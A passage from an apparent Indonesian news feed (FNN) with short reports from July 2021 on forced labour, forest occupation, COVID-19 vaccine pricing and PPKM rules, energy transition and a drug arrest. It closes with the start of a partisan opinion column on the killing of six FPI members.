administrasi kepada agen setelah mendapat pekerjaan. Uang tersebut telah selesai dibayar kepada agen melalui potongan gaji korban pada Desember 2017, Januari 2018, dan Februari 2018. "Majikan mengambil kesempatan dengan memanipulasi pekerja tersebut yang tidak mempunyai permit kerja yang sah dan dikategorikan sebagai Pekerja Asing Tanpa Izin (PATI)," kata kementerian itu. Majikan turut menjadikan isu PATI sebagai ancaman untuk memaksa korban melakukan pelbagai pekerjaan rumah dengan tekanan fisik dan mental. "Korban juga pernah dipukul oleh majikan dengan menggunakan tangan apabila tidak puas dengan kerja yang dilakukan korban," kata kementerian. Selain itu, korban tidak diberi makanan kalau dia menyatakan niat untuk kembali ke negara asal ataupun tidak mau bekerja lagi dengan majikan tersebut. "Malah, gaji korban kerap dibayar lewat dan pernah terjadi situasi di mana uang gaji yang telah diserahkan ke tangan mangsa diambil lagi oleh majikan," menurut keterangan kementerian. Melalui penyelidikan awal, terdapat indikator bahwa korban telah dijadikan sebagai buruh paksa yang dan majikan diduga telah melakukan suatu pelanggaran di bawah Undang-Undang Antipemerdagangan Orang dan Antipenyelundupan Migran (Anti Trafficking in Persons and Anti-Smuggling of Migrants – ATIPSOM) 2007. "Korban yang diselamatkan masih dalam keadaan trauma dan kini ditempatkan di Rumah Perlindungan Zon Tengah setelah diberikan Interim Protection Order (IPO) oleh Mahkamah Magistret Taiping pada tanggal sama korban diselamatkan," kata kementerian. Keterangan itu menyebutkan bahwa operasi penyelamatan pekerja warga Indonesia tersebut merupakan hasil dari usaha terpadu secara terus-menurus oleh lembaga-lembaga penegakan hukum dalam menangani isu buruh paksa. Kementerian menyatakan bahwa operasi itu juga menunjukkan bahwa pemerintah tidak akan sesekali berkompromi dalam isu buruh paksa --apa pun kewarganegaraan para pekerja. (mth)

Sumbar Godok Aturan untuk Selesaikan Penguasaan Hutan di Pasaman Barat

Padang, FNN - Pemerintah Provinsi Sumatera Barat menggodok formulasi aturan untuk penyelesaian penguasaan (okupasi) kawasan hutan secara ilegal yang dijadikan kebun sawit oleh oknum masyarakat di Air Bangis, Kabupaten Pasaman Barat. "Kementerian kehutanan menyerahkan kewenangan penyelesaian persoalan ini kepada provinsi Sumatera Barat. Kita berupaya membuat sebuah formula untuk bisa menyelesaikan hal itu tanpa menimbulkan gejolak di masyarakat,” kata Gubernur Sumbar Mahyeldi dalam Rapat Koordinasi bersama Polda Sumbar dan Pemkab Pasaman Barat di Padang, Sabtu malam. Gubernur mengatakan penyelesaian permasalahan tersebut menjadi perhatian serius dari Kementerian Kehutanan dan Lingkungan Hidup serta Kepolisian RI. Karena itu perlu dilakukan gerak cepat untuk mengidentifikasi lahan-lahan yang telah di okupasi dan di dimanfaatkan secara ilegal oleh oknum masyarakat, mengembalikannya kepada negara dan upaya pengelolaan sesuai aturan dan kebijakan pemerintah. "Kita sudah mengambil langkah-langkah dalam upaya penyelesaian permasalahan ini termasuk koordinasi dengan Kementerian Kehutanan dan rapat koordinasi di tingkat provinsi dengan pihak terkait," ujarnya. Menyambung pernyataan tersebut Wakil Gubernur Sumbar Audy Joinaldy mengatakan salah satu hasil rapat dengan Kementerian Kehutanan adalah kemungkinan Pemerintah Provinsi mengelola lahan yang telah dikembalikan tersebut dengan menunjuk pihak-pihak tertentu dengan sistem bagi hasil. Dengan cara demikian masyarakat yang menggantungkan hidup di lahan sawit itu tetap bisa diberdayakan untuk bekerja guna menopang perekonomian keluarga. Sementara negara juga mendapatkan Penerimaan Negara Bukan Pajak (PNBP). Namun, dalam pelaksanaannya nanti Pemprov Sumbar diminta untuk terus berkoordinasi dengan Kementerian Kehutanan dan Lingkungan Hidup. Kapolda Sumatera Barat Irjen Pol Toni Harmanto mengatakan hingga Juli 2021 sudah ada 1.112 hektare lahan yang awalnya diokupasi oleh masyarakat secara ilegal, dikembalikan kepada negara. Ia mengatakan jumlah itu masih akan terus meningkat kemungkinan hingga lebih dari 2000 hektare karena saat ini tim masih bergerak di lapangan. Namun, ia menilai masih perlu upaya tingkat lanjut karena jumlah lahan yang di okupasi secara ilegal itu kemungkinan mencapai 9000 hektare. Berdasarkan hasil koordinasi dengan Kementerian Kehutanan yang telah menyerahkan kewenangan kepada Pemprov Sumbar untuk menyelesaikan persoalan itu, ia merekomendasikan untuk mengedepankan sosialisasi dan negosiasi kepada oknum masyarakat agar secara sukarela menyerahkan lahan negara yang telah dikuasai tersebut. Hal itu dilakukan untuk menghindari konflik sosial dan kerawanan sosial di tengah masyarakat Air Bangis karena sebagian masyarakat menggantungkan ekonomi di lahan sawit tersebut. Bupati Pasaman Barat, Hamsuardi menyambut baik langkah-langkah yang telah diambil oleh Pemprov Sumbar. Menurutnya, dengan adanya kepastian hukum masyarakat juga akan diuntungkan. Permasalahan penguasaan lahan kawasan hutan di Air Bangis itu menurut Kepala Dinas Kehutanan Sumbar Yozarwardi bermula dari dicabutnya izin HPH PT Rimba Baru Lestari dan PT Rimba Swasembada (HTI) oleh Menteri Kehutanan sehingga terjadi open-access perambahan atau okupasi oleh oknum masyarakat. Kemudian pencabutan izin HPH PT Inkud Agritama yang menyebabkan semakin terjadi akses terbuka tersebut. Demikian juga pembangunan jalan Teluk Tapang dan perladangan atau pembuatan kebun kelapa sawit secara ilegal oleh oknum masyarakat di kawasan hutan tersebut Data penguasaan kawasan hutan dan penyerahan lahan oleh Polda Sumbar sampai dengan Juni 2021 terlihat sebagian besar pengelola sawit ilegal di lahan milik negara itu adalah pemilik modal yang masing-masingnya memiliki lebih dari 10 hektare.* (mth)

Presiden Sampaikan Duka Cita Mendalam terhadap Korban Pandemi COVID-19

Jakarta, FNN - Presiden Joko Widodo (Jokowi) menyampaikan duka cita yang mendalam terhadap seluruh korban pandemi COVID-19 di Tanah Air. “Atas nama pribadi dan pemerintah serta negara, saya menyampaikan duka cita yang mendalam kepada semua korban pandemi yang telah mendahului kita, mari kita doakan beliau-beliau mereka semuanya mendapat rahmat dan ampunan dari Tuhan Yang Maha Pengasih lagi Maha Penyayang,” kata Presiden pada acara doa bersama bertajuk #Prayfromhome yang ditayangkan Youtube Sekretariat Presiden, di Jakarta, Minggu. Kepala Negara juga mendoakan seluruh masyarakat yang terpapar COVID-19 bisa segera pulih kembali dan mengajak masyarakat untuk menundukkan kepala, mengheningkan cipta, dan menyampaikan doa dari rumah agar pandemi COVID-19 segera berakhir. “Doa dari rumah, kita panjatkan dan berikhtiar agar ujian pandemi segera berakhir,” katanya. Masyarakat, kata Presiden, juga perlu dapat meyakinkan keluarga serta orang-orang terdekat untuk beraktivitas di rumah saja. Upaya untuk mengatasi permasalahan COVID-19, kata Presiden, merupakan ikhtiar kebangsaan untuk menyelematkan jiwa dan kemaslahatan bangsa. “Yakinkan keluarga dan lingkungan terdekat agar beraktivitas di rumah saja, mengatasi persoalan COVID-19 merupakan ikhtiar kebangsaan kita hari ini karena bertujuan menyelamatkan jiwa dan kemaslahatan kita bersama. Semoga Tuhan melindungi bangsa Indonesia dan menjadikan negara ini aman, maju dan sejahtera,” kata Presiden. Kepala Negara mengingatkan bahwa pemerintah tidak bisa bekerja jika hanya sendirian. Maka itu, pemerintah mengajak seluruh komponen masyarakat berkolaborasi dan saling menolong untuk mengatasi pandemi COVID-19. “Kami menyampaikan terima kasih kepada seluruh elemen bangsa yang setia membangun optimisme dan semangat kebersamaan dalam berbagai gerakan kerelawanan sosial dan ekonomi demi meringankan beban masyarakat,” demikian Presiden Joko Widodo. (mth)

DEN Susun Peta Jalan Transisi Energi Skema Hadapi Tren Global

Jakarta, FNN - Dewan Energi Nasional (DEN) sedang menyusun peta jalan transisi energi untuk menghadapi tren global mengenai pembangunan energi rendah karbon dan pemanfaatan energi ramah lingkungan. "Penyusunan peta jalan transisi energi merupakan program kerja DEN periode 2021-2025," kata Anggota DEN Satya Widya Yudha dalam keterangan yang dikutip di Jakarta, Minggu. Tahun ini, DEN menargetkan inventarisasi berbagai aksi mitigasi untuk setiap sektor dan subsektor energi hingga nol bersih emisi yang dapat menjadi bahan komunikasi publik terkait skenario pemerintah dalam penerapan kebijakan transisi energi. Selanjutnya pada 2022, peta jalan transisi energi diproyeksikan sudah menjadi dokumen resmi termasuk skenario ambisius nol bersih emisi dan aksi mitigasi sektor energi sebagai bahan rekomendasi DEN. Proposisi kebijakan menuju nol bersih emisi dalam transisi energi dilakukan dengan tetap menjaga ketahanan energi nasional pada koridor ketahanan energi berupa ketersediaan, aksesibilitas, keterjangkauan, dan penerimaan serta tidak membebani perekonomian. Adapun tantangan terbesar transisi energi adalah pemenuhan penyediaan listrik dari sumber energi terbarukan dan mewujudkan dukungan teknologi untuk menyiapkan pasokan listrik. Sebelumnya diberitakan, pemerintah berkomitmen akan menghentikan pengoperasian pembangkit listrik tenaga uap berbahan bakar batu bara sebanyak 53 gigawatt pada rentang 2025 hingga 2045. Inisiatif tersebut untuk mendukung kebijakan nol bersih emisi di Indonesia pada subsektor ketenagalistrikan. Ketika pembangkit energi fosil padam satu per satunya, maka kekosongan pembangkit akan diganti oleh pembangkit energi terbarukan yang bersumber dari matahari, air, angin, biomassa, hingga panas bumi. Direktur Jenderal Pengendalian Perubahan Iklim Kementerian Lingkungan Hidup dan Kehutanan Laksmi Dhewanthi menyatakan interaksi dari berbagai sektor termasuk sektor energi akan sangat mempengaruhi dan sangat menentukan keberhasilan capaian Nationally Determined Contributions (NDC) secara utuh. "Summary energi yang masih berjalan dalam mendukung skenario net zero emission nasional berbentuk policy intervention, antara lain peaking emisi sebelum 2040 dan net zero emission pembangkit di 2050," kata Laksmi. (mth)

TNI Gelar Kegiatan Teritorial Inovatif Bbagi Pelajar Pegunungan Bintang

Jayapura, FNN - Prajurit Babinsa TNI melakukan kegiatan kreatif dan inovatif, termasuk edukasi protokol kesehatan COVID-19, dalam mewujudkan pembinaan teritorial untuk pelajar SD Katobapib di Oksibil Kabupaten Pegunungan Bintang, Provinsi Papua demi terwujudnya interaksi yang baik dengan masyarakat. "Dalam kegiatan tersebut diawali dengan edukasi protokol kesehatan COVID-19 tentang bagaimana menerapkan hidup sehat dengan 3M, yakni menjaga jarak, memakai masker dan mencuci tangan agar terhindar dari virus corona," kata Komandan Rayon Militer (Danramil) 1715-01/Oksibil, Kabupaten Pegunungan Bintang Kapten (Cba) Dwi Wawan dalam keterangan yang diterima di Jayapura, Minggu. Dalam kegiatan tersebut juga diserahkan pemberian bantuan penyanitasi tangan, masker, serta saat beinteraksi dengan pelajar dilakukan dengan berbagi kasih berupa pemberian batuan 100 alkitab dan 50 tas sekolah. Ia mengatakan kegiatan di Oksibil Kabupaten Pegunungan Bintang itu dilakukan demi terwujudnya interaksi yang baik dengan masyarakat. Selain itu, kata Dwi Wawan, juga untuk melakukan interaksi secara langsung dengan siswa-siswi SD Katobapib demi menciptakan suka cita bahagia untuk generasi penerus bangsa. Sementara itu guru honorer yang setia mengajar di SD itu, Yotam Y menyatakan rasa bahagia kepada para Babinsa bersama Danramil Oksibil atas kehadiran memberikan bantuan peralatan sekolah melalui kegiatan teritorial yang sangat inovatif dan kreatif. "Ini peristiwa yang luar biasa dan penuh kasih bagi kami yang berada jauh dari perbatasan timur Indonesia, khususnya Pegunungan Bintang Papua," katanya. Ia berharap kehadiran kembali aparat TNI untuk memberikan motivasi kepada anak asli orang Papua yang sedang menuntut ilmu di sekolah. (sws)

Pemerintah Tetapkan Harga Dosis Lengkap Vaksin Berbayar Rp879.140

Jakarta, FNN - Juru Bicara Vaksinasi COVID-19 Kementerian Kesehatan dr Siti Nadia Tarmizi mengemukakan harga vaksin dosis lengkap Sinopharm berbayar untuk individu ditetapkan pemerintah Rp879.140 per orang. "Harga itu sesuai Keputusan Menteri Kesehatan Nomor HK.01.07/MENKES/4643/2021," katanya melalui pesan singkat di Jakarta, Minggu pagi. Keputusan Menteri Kesehatan tersebut berisi tentang sejumlah aturan terkait penetapan besaran harga pembelian vaksin produksi Sinopharm melalui penunjukan PT Bio Farma (Persero) dalam pelaksanaan pengadaan vaksin COVID-19 dan tarif maksimal pelayanan untuk pelaksanaan Vaksinasi Gotong Royong. Sesuai dengan aturan tersebut, kata dia, harga vaksin per dosis Rp321.660 ditambah dengan harga layanan Rp117.910 sehingga harga per dosis vaksin yang dibebankan kepada penerima manfaat seharga Rp439.570 per dosis. "Untuk satu orang kan butuhnya dua dosis, jadi dikalikan dua menjadi totalnya Rp879.140," kata Siti Nadia. Sebelumnya dalam sesi diskusi daring, Guru Besar Pulmonologi dan Ilmu Kedokteran Respirasi Fakultas Kedokteran Universitas Indonesia Prof Tjandra Yoga Aditama mengatakan makin banyak orang yang divaksin itu akan semakin bagus. "Kalau bisa makin banyak orang divaksin dengan apapun juga caranya dan makin cepat makin bagus," katanya saat menjawab pertanyaan seputar vaksinasi berbayar bagi individu di Indonesia. Ia mengatakan vaksinasi bukan hanya COVID-19. Indonesia telah mengawali program vaksinasi sudah berpuluh-puluh tahun yang lalu. "Vaksin kalau mau gratis bisa di puskesmas atau di posyandu. Kalau mau pergi ke rumah sakit A atau B ya bayar. Memang ada opsi itu dibuka buat vaksinasi anak seperti BCG, DPT dan lainnya," katanya. Negara seperti India, kata dia, juga melakukan hal yang sama. "Jadi vaksinasi gratis juga diberikan. Tapi kalau orang mau pergi ke dokter pribadi yang rumah sakitnya bagus, yang pakai AC yang tidak panas-panasan itu bayar," katanya. Namun juga tidak memungkiri bahwa banyak juga negara lain yang 100 persen menggratiskan vaksinasi bagi penduduknya. "Jadi itu, silakan ditimbang yang baik yang mana," demikian Tjandra Yoga Aditama. (sws)

Perubahan Ketiga Inmendagri Tunjukkan Pemerintah Responsif

Semarang, FNN - Perubahan Ketiga Inmendagri Nomor 15 Tahun 2021 tentang Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Darurat COVID-2019 di Wilayah Jawa dan Bali, 3—20 Juli 2021, menunjukkan Pemerintah responsif karena tidak lagi menutup sementara tempat ibadah.Sebelumnya, dalam Instruksi Menteri Dalam Negeri (Inmendagri) No. 15/2021 Huruf g disebutkan bahwa tempat ibadah (masjid, musala, gereja, pura, vihara, dan klenteng serta tempat umum lainnya yang difungsikan sebagai tempat ibadah) ditutup sementara. Meskipun tidak ada frasa "ditutup sementara", dalam Inmendagri No. 19/2021 tentang Perubahan Ketiga Inmendagri No. 15/2021 Huruf g, tempat ibadah dan tempat umum lainnya yang difungsikan sebagai tempat ibadah tetap tidak mengadakan kegiatan peribadatan/keagamaan berjemaah selama masa penerapan PPKM darurat dan mengoptimalkan pelaksanaan ibadah di rumah. Dalam Perubahan Ketiga Inmendagri No. 15/2021 Huruf k, pelaksanaan resepsi pernikahan ditiadakan selama penerapan PPKM darurat. Sebelumnya, resepsi pernikahan diperbolehkan dengan jumlah yang hadir maksimal 30 orang. Meski kala itu tidak ada larangan, dalam pesta harus menerapkan protokol kesehatan secara lebih ketat dan tidak menerapkan makan di tempat resepsi, penyediaan makanan hanya diperbolehkan dalam tempat tertutup dan untuk dibawa pulang. Pada hari pertama PPKM darurat, Sabtu (3/7), Lurah Pancoran Mas berinisial S malah menggelar resepsi pernikahan anaknya di Gang H. Syuair, RT01/RW02 Kelurahan Mampang, Kota Depok, Jawa Barat. Meski menurut pengakuannya dihadiri 30 orang keluarga inti atau sesuai dengan Inmendagri No. 15/2021 Huruf k, S tetap dicopot dari jabatannya sebagai lurah melalui Surat Keputusan Wali Kota Depok Nomor 862/KEP-1721/BKPSDM/2021 tertanggal 8 Juli 2021 tentang Penjatuhan Hukuman Disiplin Berupa Pembebasan dari Jabatan atas Nama Saudara S. Sebelumnya, S ditetapkan sebagai tersangka yang ditandai dengan diserahkannya surat pemberitahuan dimulainya penyidikan (SPDP) dari penyidik Satreskrim Polres Metro Depok kepada Kejaksaan Negeri Kota Depok pada hari Selasa (6/7). S dijerat Pasal 14 Undang-Undang Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular dan/atau Pasal 212 dan 216 Kitab Undang-Undang Hukum Pidana (KUHP). Pasal 14 UU Wabah Penyakit Menular disebutkan: (1) Barang siapa dengan sengaja menghalangi pelaksanaan penanggulangan wabah sebagaimana diatur dalam undang-undang ini, diancam dengan pidana penjara selama-lamanya 1 tahun dan/atau denda setinggi-tingginya Rp1.000.000,00. (2) Barang siapa karena kealpaannya mengakibatkan terhalangnya pelaksanaan penanggulangan wabah sebagaimana diatur dalam undang-undang ini, diancam dengan pidana kurungan selama-lamanya 6 bulan dan/atau denda setinggi-tingginya Rp500 ribu. (3) Tindak pidana sebagaimana dimaksud dalam ayat (1) adalah kejahatan dan tindak pidana sebagaimana dimaksud dalam ayat (2) adalah pelanggaran. Selanjutnya, dalam Pasal 212 KUHP menyebutkan bahwa barang siapa dengan kekerasan atau ancaman kekerasan melawan seorang pejabat yang sedang menjalankan tugas yang sah, atau orang yang menurut kewajiban undang-undang atau atas permintaan pejabat memberi pertolongan kepadanya, diancam karena melawan pejabat, dengan pidana penjara paling lama 1 tahun 4 bulan atau pidana denda paling banyak empat ribu lima ratus rupiah. Pasal 216 KUHP: (1) Barang siapa dengan sengaja tidak menuruti perintah atau permintaan yang dilakukan menurut undang-undang oleh pejabat yang tugasnya mengawasi sesuatu, atau oleh pejabat berdasarkan tugasnya, demikian pula yang diberi kuasa untuk mengusut atau memeriksa tindak pidana; demikian pula barang siapa dengan sengaja mencegah, menghalang-halangi atau menggagalkan tindakan guna menjalankan ketentuan undang-undang yang dilakukan oleh salah seorang pejabat tersebut, diancam dengan pidana penjara paling lama 4 bulan 2 minggu atau pidana denda puling banyak sembilan ribu rupiah. (2) Disamakan dengan pejabat tersebut di atas, setiap orang yang menurut ketentuan undang-undang terus-menerus atau untuk sementara waktu diserahi tugas menjalankan jabatan umum. (3) Jika pada waktu melakukan kejahatan belum lewat 2 tahun sejak adanya pemidanaan yang menjadi tetap karena kejahatan semacam itu juga, maka pidananya dapat ditambah sepertiga. Tidak hanya S yang terkena sanksi, delapan personel Dinas Perhubungan (Dishub) DKI Jakarta dipecat oleh Gubernur DKI Jakarta Anies Baswedan dan Kepala Dinas Perhubungan DKI Jakarta Syafrin Liputo pada hari Jumat (9/7) karena kedapatan nongkrong di warung kopi saat PPKM darurat. Pelanggaran personel Dishub DKI tersebut karena mereka berkerumun, makan, dan minum di warung kopi kawasan Patal Senayan saat PPKM darurat yang memberlakukan larangan makan dan minum di warung makan atau restoran. Pemecatan ini diketahui berawal dari beredar potongan video berdurasi 44 detik di media sosial yang memperlihatkan sejumlah petugas Dishub sedang nongkrong di warung kopi. Berdasarkan narasi perekam, petugas Dishub DKI itu nongkrong di atas pukul 21.00 WIB. Inmendagri Berubah-ubah Sebelum PPKM darurat ini diberlakukan, Kementerian Dalam Negeri (Kemendagri) mengeluarkan Inmendagri No. 15/2021 tentang PPKM Darurat COVID-19 di Wilayah Jawa dan Bali. Instruksi pada tanggal 2 Juli 2021 ini ditujukan kepada gubernur dan bupati/wali kota di wilayah Jawa dan Bali. Pada tanggal yang sama, Menteri Dalam Negeri (Mendagri) Muhammad Tito Karnavian menandatangani Inmendagri No. 16/2021 tentang Perubahan Inmendagri No. 15/2021. Selanjutnya, pada tanggal 8 Juli 2021, Kemendagri melakukan perubahan kembali melalui Inmendagri No. 18/2021 tentang Perubahan Kedua Inmendagri No. 15/2021. Instruksi menteri yang berlaku mulai 9 hingga 20 Juli 2021 ini mengubah pada diktum ketiga: Huruf c angka 1) dan angka 3). Selang sehari, 9 Juli 2021, ada perubahan lagi melalui Inmendagri No. 19/2021. Instruksi menteri ini berlaku pada hari Jumat (10/7) sampai dengan 20 Juli 2021. Pada perubahan pertama (Inmendagri No. 16/2021) ada penambahan pasal bagi gubernur, bupati, dan wali kota yang tidak melaksanakan ketentuan tersebut. Semula dikenai sanksi sebagaimana diatur dalam Pasal 68 Ayat (1) dan Ayat (2) Undang-Undang Nomor 23 Tahun 2014 tentang Pemerintahan Daerah. Setelah ada perubahan (Inmendagri No. 16/2021), Pasal 67 sampai dengan Pasal 78 Undang-Undang Pemerintahan Daerah. Dengan demikian, instruksi menteri ini wajib ditindaklanjuti oleh kepala daerah, baik gubernur maupun bupati/wali kota, di tujuh provinsi, yakni DKI Jakarta, Banten, Jawa Barat, Jawa Tengah, DIY, Jawa Timur, dan Bali. Sebagai contoh Pemerintah Provinsi Jawa Timur telah menindaklanjuti Inmendagri tersebut melalui Keputusan Gubernur Jawa Timur Nomor 188/ 379 /Kpts/013/2021 tentang PPKM Darurat COVID-19 di Jawa Timur. Sementara itu, untuk pelaku usaha, restoran, pusat perbelanjaan, transportasi umum sebagaimana dimaksud dalam diktum ketiga Huruf c, Huruf d, Huruf e, dan Huruf j yang tidak melaksanakan ketentuan sebagaimana ditetapkan dalam Inmendagri No. 15/2021 dikenai sanksi administratif sampai dengan penutupan usaha sesuai dengan ketentuan peraturan perundang-undangan. Setiap orang dapat dikenai sanksi bagi yang melakukan pelanggaran dalam rangka pengendalian wabah penyakit menular berdasarkan: KUHP Pasal 212 sampai dengan Pasal 218; Undang-Undang Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular; UU No. 6/2018 tentang Kekarantinaan Kesehatan; dan peraturan daerah, peraturan kepala daerah; serta ketentuan peraturan perundang-undangan lainnya yang terkait. Jika merujuk pada Inmendagri tersebut, perlu ada peraturan daerah (perda) terkait dengan pengendalian wabah penyakit menular. Sebagai contoh Pemerintah Provinsi Jawa Barat telah memiliki Perda No. 5/2021 tentang Perubahan atas Perda Provinsi Jawa Barat No. 13/2018 tentang Penyelenggaraan Ketenteraman, Ketertiban Umum, dan Perlindungan Masyarakat. Gegara pembeli makan di tempat, seorang pengusaha bubur di Kota Tasikmalaya divonis hakim dengan putusan denda Rp5 juta atau subsider 5 hari kurungan penjara pada hari Selasa (6/7) karena terbukti melanggar Pasal 34 Ayat (1) juncto Pasal 21 I Ayat (2) huruf f dan g Perda Provinsi Jabar No. 5/2021. Selain peraturan perundang-undangan tersebut, dalam Inmendagri No. 16/2021 disebutkan pula UU No. 6/2018 tentang Kekarantinaan Kesehatan. Di dalam UU Kekarantinaan Kesehatan tidak saja memuat ketentuan pidana, tetapi juga tanggung jawab pemerintah pusat dan pemerintah daerah memberi kebutuhan hidup dasar orang dan makanan hewan ternak di wilayah karantina selama karantina wilayah berlangsung (Pasal 55). Apalagi, setiap orang mempunyai hak memperoleh perlakuan yang sama dalam penyelenggaraan kekarantinaan kesehatan (Pasal 7). Bahkan, setiap orang mempunyai hak mendapatkan pelayanan kesehatan dasar sesuai dengan kebutuhan medis, kebutuhan pangan, dan kebutuhan kehidupan sehari-hari lainnya selama karantina (Pasal 8). Jika ketentuan itu dipenuhi oleh pemerintah pusat dan/atau pemerintah daerah, kemungkinan pedagang tidak akan nekat berjualan pada masa PPKM darurat. Bahkan, mereka juga tidak perlu main kucing-kucingan dengan petugas agar tidak terkena razia. (sws)

Polres Bintan Tangkap PMI Asal Lombok Bawa Sabu dan Pil Ekstasi

Bintan, FNN - Polres Bintan, Polda Kepulauan Riau (Kepri), mengamankan seorang pekerja migran Indonesia (PMI) asal Lombok berinisial SU (43) karena didapati membawa 2 kilogram narkoba jenis sabu dan 49 butir pil ekstasi dari Malaysia, Sabtu (10/7). Kapolres Bintan Bambang Sugihartono menyampaikan pelaku diamankan setelah diketahui membawa benda haram tersebut melalui satu pelabuhan tidak resmi di kawasan Tanjung Uban. "Barang bukti sabu diikat di paha menggunakan lakban. Sedang pil ekstasi disimpan di dalam celana dalam," kata Kapolres Bambang. Bambang menyampaikan pelaku mendapat tugas membawa sabu dan pil ekstasi itu dari seorang PMI yang juga berasal dari Lombok berinisial JO, dan saat ini tengah berada di Malaysia. Pelaku dijanjikan menerima upah sekitar Rp15 juta jika berhasil menyerahkan barang tersebut ke seseorang berinisial G di Lombok. "Kita juga tengah melakukan penyelidikan terhadap J dan G," ujar Bambang. Kapolres menyatakan SU kini sudah ditetapkan jadi tersangka dan ditahan di Mapolres Bintan guna proses hukum lebih lanjut. Kepada pihak kepolisian, lanjutnya, SU menyatakan nekat membawa sabu dan pil ekstasi karena tergiur dengan upah yang sangat besar, ditambah lagi istri di Lombok dalam kondisi sakit sehingga memerlukan biaya pengobatan. Perbuatan tersangka melanggar UU RI Nomor 35 Tahun 2009 tentang Narkotika dengan ancaman pidana mati, penjara seumur hidup, atau paling singkat 6 tahun dan paling lama 20 tahun. (sws)

Buku Putih "Extra Killing Yudicial" Catatan Hitam Rezim Jokowi Bagian 1

Oleh: Tjahja Gunawan (Penulis Wartawan Senior) Jakarta, FNN - Tim Pengawal Peristiwa Pembunuhan (TP3) enam laskar FPI, mengeluarkan buku putih pada Rabu 7 Juli 2021. Dalam kesempatan itu, anggota TP3 Amien Rais menyebutkan seluruh fakta yang disajikan di buku putih adalah fakta objektif yang sebagian besar diambil dari sumber yang primer bukan sumber sekunder. Peristiwa pembunuhan keji ini sudah berlangsung lama yakni akhir tàhun 2020, tapi sampai sekarang belum ada tanda-tanda kasusnya akan disidangkan di pengadilan. Oleh karena itu wajar kalau kemudian menimbulkan berbagai spekulasi macam-macam. Jika sampai kasus ini dipetieskan, akan menjadi preseden buruk dan menjadi catatan sejarah kelam pemerintahan Jokowi. Kasus pembunuhan terhadap enam laskar FPI ini tidak lepas dengan rangkaian kepulangan Imam Besar Umat Islam Habib Rizieq Shihab ke Indonesia pada 10 November 2020. Maksud dan tujuan kepulangan Habib Rizieq ke Tanah Air setelah tiga setengah tahun berada di Arab Saudi adalah untuk berjuang menyelamatkan NKRI dari ancaman Neo Komunisme dengan cara mengembalikan Pancasila dan UUD NRI yang ditetapkan tanggal 18 Agustus tahun 1945. Menyelamatkan NKRI dari ancaman kapitalisme, liberalisme, sekulerisme, hedonisme dan Neo Komunisme sebenarnya adalah tugas TNI-POLRI dan tugas warga negara Indonesia pada umumnya, termasuk tugas Habib Rizieq. Panglima TNI Panik Gerakan Moral Koalisi Aksi Menyelamatkan Indonesia (KAMI), maupun Revolusi Moral yang digagas tokoh bangsa Pak Amien Rais maupun Revolusi Akhlak yang didengungkan Habib Rizieq, adalah usaha mulia untuk menegakkan kejujuran, kebenaran, keadilan, dan kesejahteraan dalam rangka menyelamatkan NKRI dari segala bentuk ancaman. Kebijakan pemerintah dalam bentuk UU Omnibuslaw, UU Minerba, UU Covid 19, RUU BPIP dan RUU HIP, tidak sesuai Pancasila, sangat menguntungkan Asing, Aseng dan sangat menyengsarakan rakyat. Namun, deklarasi Revolusi Akhlak yang disampaikan Habib Rizieq di Petamburan disambut dengan pernyataan panik Panglima TNI Jenderal Hadi Tjahjanto. Padahal Habib Rizieq menawarkan dialog dan rekonsiliasi untuk menyelamatkan NKRI secara damai tanpa pertumpahan darah. Tapi Panglima TNI tiba-tiba dikawal Pangkostrad dan 4 Komandan Pasukan Khusus, memberi pernyataan tentang Persatuan & Kesatuan. Narasinya halus tetapi aromanya menyengat, sehingga semua mengendus tudingan diarahkan ke Habib Rizieq dan Front Pembela Islam serta Umat Islam. Sebenarnya pernyataan Habib Rizieq soal Revolusi Akhlak dan tawaran untuk dialog dan rekonsisliasi itu sangat positif. Buktinya, saat kepulangan Habib ke Indonesia direspon baik juga oleh para investor di pasar modal. Padahal, kedatangan Habib disambut ratusan ribu massa di Bandara Soekarno-Hatta hingga Jl Petamburan Jakarta. Artinya, pelaku ekonomi dan investor di bursa saham pun tidak melihat adanya potensi kerusuhan atau gangguan keamanan dibalik kepulangan Habib Rizieq itu. Investor di Pasar Modal seolah menyambut positif kepulangan Habib Rizieq ke Tanah Air pada Selasa 10 November 2020. Hal itu tercernin dari penguatan Indeks Harga Saham Gabungan (IHSG). Di tengah kepulangan Imam Besar Front Pembela Islam (FPI) Habib Rizieq ke Tanah Air, IHSG dibuka melesat 107,84 poin atau 2,01 persen ke level 5.463 pada Hari Selasa pagi 2020. Analis Binaartha Sekuritas M Nafan Aji Gusta Utama mengatakan, secara technical IHSG masih bisa menguat di tengah kabar kepulangan Rizieq Shihab ke Tanah Air. "Secara teknikal masih bisa menguat. Pemerintah menjamin stabilitas fundamental makroekonomi domestik yang inklusif dan berkesinambungan," ujar Nafan saat dihubungi portal berita MNC, Selasa (10/11/2020). Reaksi positif para investor di Pasar Modal ini juga terkait dengan pernyataan Menko Polhukam Mahfud MD yang awalnya menyatakan tidak mempermasalahkan kepulangan Habib Rizieq karena yang bersangkutan masih berstatus sebagai WNI sehingga beliau mempunyai hak untuk kembali ke Tanah Air. Ketika itu Mahfud MD menyatakan bahwa pemerintah menganggap biasa saja menghadapi kepulangan Habib Rizieq. Karena itu dia pun meminta kepada aparat keamanan agar tidak berlebihan dalam mengamankan kepulangan Habib Rizieq. Namun, tanpa diduga pemerintah ternyata massa Umat Islam yang menyambut kedatangan Habib Rizieq di Bandara Soekarno-Hatta membeludak sampai membuat macet jalan tol menuju bandara. Massa Umat Islam dari berbagai daerah di Indonesia tumpek blek datang ke Jakarta, hanya untuk menyambut kedatangan Habib Rizieq. Penyambutan masyarakat tidak hanya di Bandara Soekarno-Hatta, tetapi iring-iringan yang mengantar Habib Rizieq sampai ke Kawasan Petamburan tempat kediaman Keluarga Habib Rizieq. Di sepanjang jalan, massa menyambut dengan antusias kedatangan Habib Rizieq. Rangkaian kegiatan Habib terbilang padat begitu menjejakkan kakinya di Tanah Air. Selain menerima para tamu yang datang ke tempat kediamannya di Jl Petamburan III Jakarta, Habib juga mengikuti acara Maulid Nabi Muhammad di Kawasan Tebet, dilanjutkan dengan kunjungan ke Pesantren Markas Syariah di Megamendung, Kabupaten Bogor, Jawa Barat, pada hari Jumat 13 November 2020. Di sinipun massa umat Islam membeludak memadati jalanan di menyambut kedatangan Habib Rizieq. Sehari kemudian, Habib melangsungkan pernikahan salah satu putrinya yang kemudian dilanjutkan dengan peringatan Maulid Nabi Muhammad SAW di Kawasan Petamburan Jakarta. 